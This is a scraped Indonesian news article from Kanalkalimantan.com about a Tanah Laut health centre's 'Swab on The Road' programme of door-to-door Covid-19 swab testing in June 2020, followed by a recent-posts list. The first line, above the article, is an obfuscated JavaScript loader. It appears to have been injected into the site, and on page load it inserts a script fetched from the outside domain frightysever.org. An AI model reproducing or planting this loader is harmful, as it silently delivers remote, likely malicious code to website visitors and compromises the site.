(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

Jemput Bola Putus Mata Rantai Covid-19, Puskesmas Tambang Ulang Lakukan ‘Sword’


KANALKALIMANTAN.COM, PELAIHARI – Guna memutus mata rantai penyebaran Covid-19, Provinsi Kalimantan Selatan kini gencar melakukan tracking, testin,g dan treatment atau 3T. Berbagai inovasi dilakukan para tenaga kesehatan di lapangan, salah satunya yang dilakukan Puskesmas Tambang Ulang, Kabupaten Tanah Laut yang melakukan “Sword”. Apa itu?

Sword adalah melakukan pengambilan sampel swab secara langsung ke masyarakat, atau disebut dengan metode Swab on The Road (Sword). Para tenaga kesehatan di Puskesmas Tambang Ulang Kabupaten Tanah Laut berharap, langkah ini salah satu upaya dan dukungan di lapangan dalam bersama-sama memutus penyebaran Covid-19.

Menurut Fauzi Rifani, kepala Puskesmas Tambang Ulang Kabupaten Tanah Laut, Sword adalah kegiatan pengambilan swab secara jemput bola. Di mana petugas kesehatan terdiri dari dokter umum, Ahli Teknologi Laboratorium Medis (ATLM) atau yang dikenal analis kesehatan, surveilans dan dan petugas promosi kesehatan (Promkes) mendatangai langsung pasien ke desa-desa dimana sebelumnya diberitahu siapa-siapa saja yang akan diambil uji swabnya.

“Mereka yang di swab ini, sebelumnya diketahui reaktif dari uji cepat melalui rapid test serta yang memiliki riwayat kontak dengan anggota keluarga yang telah dinyatakan positif terpapar covid-19,” ujar Fauzi Rifani, Sabtu (20/6/2020) sore.

Adanya metode jemput bola dalam melakukan pengambilan swab ini, jelas Fauzi, karena pihaknya ingin mendukung supaya pelaksanaan tracking, testing dan trastment atau 3T yang gencar sekarang ini dilakukan Pemerintah Provinsi Kalimantan Selatan dan Kabupaten Tanah Laut melalui Gugus Tugas Percepatan Penangan Covid-19 benar-benar berjalan di lapangan.

“Kriteria pasien yang didatangi atau dikunjungi untuk diswab, adalah pasien yang memiliki keterbatasan tertentu untuk dapat melakukan pengambilan swab yang seharusnya dilakukan di Puskesmas,” jelas Fauzi.

Sehingga, papar Fauzi, dengan adanya Sword (Swab on The Road) diharapkan dapat mempercepat penegakan diagnosis, sehingga resiko penularan dimasyarakat sekitar pasien semakin cepat diturunkan termasuk menurunkan angka kesakitan dan resiko morbiditas pasien dan masyarakat sekitar pasien.

“Mudah-mudahan inovasi Sword juga dapat dilakukan tenaga kesehatan di seluruh Kalimantan Selatan, sehingga bisa menekan jumlah pasien covid-19, serta dengan cepat ditemukannya pasien, maka resiko menularkan ke orang lain akan semakin kecil,” harap Fauzi.

Diakui Fauzi, kendati pihaknya melakukan inovasi Sword (Swab on The Road) masih saja ditemui beberapa kendala dilapangan. Seperti adanya masyarakat yang takut akan diperiksa karena menganggap covid-19 adalah aib, juga masyarakat takut melakukan isolasi mandiri sehingga tidak bisa bekerja, dan masih ada masyarakat yang merasa merasa dirinya sehat sehingga tidak berpikir untuk tidak diperiksa.

“Di lapangan memang ada ditemui kendala sebelum kami melakukan Sword (Swab on The Road). Namun berkat sinergisitas dengan tim Gugus Percepatan Penangan Covid-19 juga Kepala Desa dan Bhabinkamtimas serta Bhabinsa di desa kami datangi melakukan pendekatan kepada warga yang mau diswab, akhirnya kendala tersebut dapat ditangani. Intinya sinergisitas dengan sesame stake holder itu penting,” papar Fauzi.

Sementara itu, salah satu pasien yang meminta nama nya tidak dipublikasikan mengatakan, saat tim Sword (Swab on The Road) mendatangi di kawasan Desa Bingkulu Kecamatan Tambang Ulang Kabupaten Tanah Laut, mengaku sebelum dilakukan pemeriksaan swab, dirinya sangat takut karena mengira tindakan swab itu memasukkan alat sampai kedalam perutnya padahal hal tersebut tidaklah benar.

“Awal nya dalam pikiran saya sangat takut apabila dilakukan swab, namun setelah diberikan penjelasan dari petugas kesehatan yang datang tidak seperti yang dipikirkan. Mudah-mudahan hasil swab yang telah diambil hasilnya negatif,” aku warga itu. (Kanalkalimantan.com/fikri)

Reporter : Fikri
Editor : Chell

Desy Arfianty

Recent Posts

Kicau Mania Ramaikan Kapolresta Banjarmasin Cup 2024

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Resor (Polres) Kota Banjarmasin menggelar lomba Burung Berkicau, Minggu (19/5/2024) siang,… Read More

1 jam ago

Pastikan Listrik Tanpa Kedip KTT WWF 2024 Bali

KANALKALIMANTAN.COM, DENPASAR - PT PLN (Persero) siap menghadirkan listrik yang andal untuk mendukung penyelenggaraan Konferensi… Read More

2 jam ago

Santri TK Al Quran di Kabupaten Banjar Ikuti Munaqasah

KANALKALIMANTAN.COM, MARTAPURA -  Santri TK Al Quran se-Kabupaten Banjar mengikuti Munaqasah yang digelar Badan Komunikasi… Read More

2 jam ago

Jelang Pilwali Banjarbaru, Nurkhalis: Masih Lihat Peta Peluang Koalisi

KANALKALIMANTAN.COM, BANJARBARU - Peta koalisi partai politik jelang Pilkada 2024 di Kota Banjarbaru Kalimantan Selatan… Read More

4 jam ago

Daftar Bareng Aditya-Yuti, Koalisi “AYUHA” PPP-Gerindra di Pilwali Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Teka-teki maju atau tidaknya Aditya Mufti Ariffin mulai terjawab, bahkan siapa calon… Read More

6 jam ago

Manis Cuan Pokmas Madu Kelulut Berkat Bersatu dari Program RT Mandiri

KANALKALIMANTAN.COM, BANJARBARU – Berawal dari temuan sarang kelulut di dalam pondasi rumah tinggal warga, muncul… Read More

7 jam ago

This website uses cookies.